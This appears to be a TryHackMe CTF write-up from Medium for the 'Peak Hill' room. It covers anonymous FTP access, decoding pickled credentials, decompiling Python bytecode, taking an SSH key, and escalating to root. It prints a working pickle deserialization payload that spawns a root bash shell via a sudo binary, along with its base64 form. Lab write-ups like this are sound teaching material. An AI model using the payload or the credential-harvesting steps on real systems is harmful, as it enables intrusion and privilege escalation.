Peak Hill — TryHackMe CTF Writeup | Pickle Deserialization & Python Exploitation
Cracking Pickle-Encoded Credentials, Decompiling Python Bytecode, and Exploiting Deserialization for Root

Peak Hill — TryHackMe CTF Writeup | Pickle Deserialization & Python Exploitation
Cracking Pickle-Encoded Credentials, Decompiling Python Bytecode, and Exploiting Deserialization for Root
The Farm Awaits
A machine named Peak Hill. A farm-themed binary at the end. And credentials hidden inside a Python pickle file encoded in binary. This room is a love letter to Python security — and a reminder that pickle.loads() is one of the most dangerous functions in the language.
Let’s grow something.
Step 1: Recon with Nmap
bash
sudo nmap -p21,22 -sV -sC -T4 10.49.145.144 -Pn
Two ports:
- Port 21 — FTP (vsftpd 3.0.3) with anonymous login enabled
- Port 22 — SSH (OpenSSH 7.2p2)
Anonymous FTP is always the first door worth trying. Let’s walk in.

Step 2: FTP Anonymous Login — Hidden Pickle File
bash
ftp 10.49.145.144
# Login: anonymous
ftp> ls -la
A hidden file sits quietly in the directory:
-rw-r--r-- 1 ftp ftp 7048 May 15 2020 .creds
Standard ls would have missed it. Always use ls -la on FTP. Downloaded and renamed to creds.pickle — because that's exactly what it is.
Step 3: Decoding the Pickle File — Binary to Credentials
The file contains raw binary data. A quick Python script decodes it:
python
import pickle
with open("creds.pickle", "r") as f:
bits = f.read().strip()
data = int(bits, 2).to_bytes((len(bits) + 7) // 8, "big")
raw = pickle.loads(data)
print(raw)
Output is a scrambled list of tuples with keys like ssh_user0, ssh_pass1 etc. Sorting by the numeric index and assembling the characters in order:
Username: gherkin
Password: p1ckl3s_@11_@r0und_th3_w0rld
Even the credentials are pickle-themed. Respect.

Step 4: SSH In as Gherkin — Python Bytecode Discovery
Logged in as gherkin, an interesting file sits in the home directory:
cmd_service.pyc
A compiled Python bytecode file. Not human-readable — but transferring it to the attacker machine and running uncompyle6 reveals the source:
python
from Crypto.Util.number import long_to_bytes
username = 1684630636
password = 2457564920124666544827225107428488864802762356
user = long_to_bytes(username)
passwd = long_to_bytes(password)
The source also reveals a service running on port 7321. Decoding those numbers:
bash

Step 5: Connecting to the Hidden Service
bash
nc 127.0.0.1 7321
# Username: dill
# Password: n3v3r_@_d1ll_m0m3nt
# Successfully logged in!
A reverse shell attempt from the service doesn’t reach back out. But browsing dill’s home directory reveals something better — an SSH private key:
bash
cat /home/dill/.ssh/id_rsa

Grabbed the key, set permissions, and SSH’d in directly:
bash
ssh -i id_rsa dill@10.49.145.144
User flag captured:
f1e13335c47306e19........... ✅

Step 6: Sudo Enumeration — The Farm Binary
bash
sudo -l
# (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

Running the binary:
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!
to grow:
It accepts input and tries to Base64 decode it. The name of the room, the pickle file, the binary name — everything points to one thing. This binary deserializes pickle data from Base64 input.

Step 7: Pickle Deserialization Exploit — Root
Crafting a malicious pickle payload that spawns bash:
python
import pickle
import os
import base64
class EvilPickle(object):
def __reduce__(self):
return (os.system, ('/bin/bash', ))
pickle_data = pickle.dumps(EvilPickle())
payload = base64.b64encode(pickle_data)
print(payload)
Output:
b'gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4='
Feed it to the farm:
to grow: gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4=
Root shell drops instantly.

bash
find . -name "*root*" -exec cat {} \;
# e88f0a01135c0.................
Rooted.

Attack Chain Summary
Anonymous FTP
↓
Hidden .creds file (binary-encoded pickle)
↓
Decoded SSH credentials → gherkin
↓
Decompiled .pyc → hidden service credentials + port 7321
↓
SSH private key → dill
↓
Sudo binary accepts Base64 pickle input
↓
Malicious pickle payload → ROOT
Key Takeaways
- Anonymous FTP + hidden files (
ls -la) is a classic entry point — never skip it - Python pickle is inherently unsafe for untrusted data —
pickle.loads()executes arbitrary code by design - Compiled
.pycfiles can be decompiled withuncompyle6— hardcoded credentials survive compilation **__reduce__** is the magic method that makes pickle deserialization exploitable — understanding it is essential- Sudo binaries that process user input are always worth analysing for injection vectors
Enjoyed the writeup? Follow for more TryHackMe and HackTheBox walkthroughs. If you got stuck on the pickle payload, drop a comment — happy to walk through it! 🥒🔐
메타데이터
- post_id
- ea85e7368de4
- slug
- peak-hill-tryhackme-ctf-writeup-pickle-deserialization-python-exploitation-ea85e7368de4
- url
- https://medium.com/@arun1x/peak-hill-tryhackme-ctf-writeup-pickle-deserialization-python-exploitation-ea85e7368de4
- canonical_url
- https://medium.com/@arun1x/peak-hill-tryhackme-ctf-writeup-pickle-deserialization-python-exploitation-ea85e7368de4
- author_url
- https://medium.com/@arun1x
- status
- ok
- fetched_at
- 2026-06-14 16:15:44